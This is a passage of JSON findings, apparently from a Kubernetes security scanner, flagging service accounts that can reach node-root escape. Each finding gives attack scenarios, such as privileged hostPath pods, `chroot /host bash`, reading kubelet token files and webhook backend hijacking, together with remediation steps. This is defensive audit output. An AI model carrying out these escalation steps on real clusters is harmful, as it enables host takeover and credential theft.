      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/cutres/cutres-doublebind` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "cutres-pod-creator-a",
        "source_role": "cutres-pod-creator",
        "binding_namespace": "cutres-pods-a"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "cutres-pod-creator-b",
        "source_role": "cutres-pod-creator",
        "binding_namespace": "cutres-pods-b"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/foothold-fixtures/foothold-priv:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-fixtures/foothold-priv` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/foothold-fixtures/foothold-priv` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `pod_host_escape` (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-priv",
      "namespace": "foothold-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-fixtures/foothold-priv` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/foothold-fixtures/foothold-priv` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/foothold-fixtures/foothold-priv`.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [privileged]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `privileged` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-priv` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `privileged` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-priv` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/hookbackend-fixtures/hookbackend-operator:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/hookbackend-fixtures/hookbackend-operator` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/hookbackend-fixtures/hookbackend-operator` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `control_plane_backend_hijack` (write services + read secrets in hookbackend-fixtures): can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/hookbackend-fixtures/hookbackend-operator` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/hookbackend-fixtures/hookbackend-operator`.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker takes over a Service the API server itself calls (`write services + read secrets in hookbackend-fixtures`): it steers the Service's traffic to a pod it controls and presents the backend's serving certificate, which the namespace's Secrets or pods hand it. Every request the API server sends that backend, admission reviews or aggregated API calls carrying the API server's own credentials, now arrives at the attacker.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. control_plane_backend_hijack [write services + read secrets in hookbackend-fixtures]"
      ],
      "first_action": "control_plane_backend_hijack",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "control_plane_backend_hijack"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `write services + read secrets in hookbackend-fixtures` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `write services + read secrets in hookbackend-fixtures` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "control_plane_backend_hijack",
        "technique": "KUBE-PRIVESC-038",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write services + read secrets in hookbackend-fixtures",
        "gains": "can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/local-path-storage/local-path-provisioner-service-account:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/local-path-storage/local-path-provisioner-service-account` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/local-path-storage/local-path-provisioner-service-account` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/local-path-storage/local-path-provisioner-service-account` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/local-path-storage/local-path-provisioner-service-account`.",
      "Acting as `ServiceAccount/local-path-storage/local-path-provisioner-service-account`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/`). Evaluated cut: removing this subject from the `local-path-provisioner-bind` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "local-path-provisioner-bind",
        "source_role": "local-path-provisioner-role",
        "binding_namespace": "local-path-storage"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod local-path-storage/local-path-provisioner-67b8995b4b-49fft falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/map-fixtures/sa-mutating-policy:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/map-fixtures/sa-mutating-policy` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/map-fixtures/sa-mutating-policy` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/map-fixtures/sa-mutating-policy` → `/` via `mutating_policy_inject` (create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings): can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-mutating-policy",
      "namespace": "map-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/map-fixtures/sa-mutating-policy` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/map-fixtures/sa-mutating-policy` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/map-fixtures/sa-mutating-policy`.",
      "Acting as `ServiceAccount/map-fixtures/sa-mutating-policy`, the attacker uses the `mutating_policy_inject` technique via `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings`, which gains can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. mutating_policy_inject [create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings]"
      ],
      "first_action": "mutating_policy_inject",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "mutating_policy_inject"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings` that enables the first hop (`ServiceAccount/map-fixtures/sa-mutating-policy` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings` that enables the first hop (`ServiceAccount/map-fixtures/sa-mutating-policy` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "mutating_policy_inject",
        "technique": "KUBE-PRIVESC-019",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-mutating-policy",
          "namespace": "map-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings",
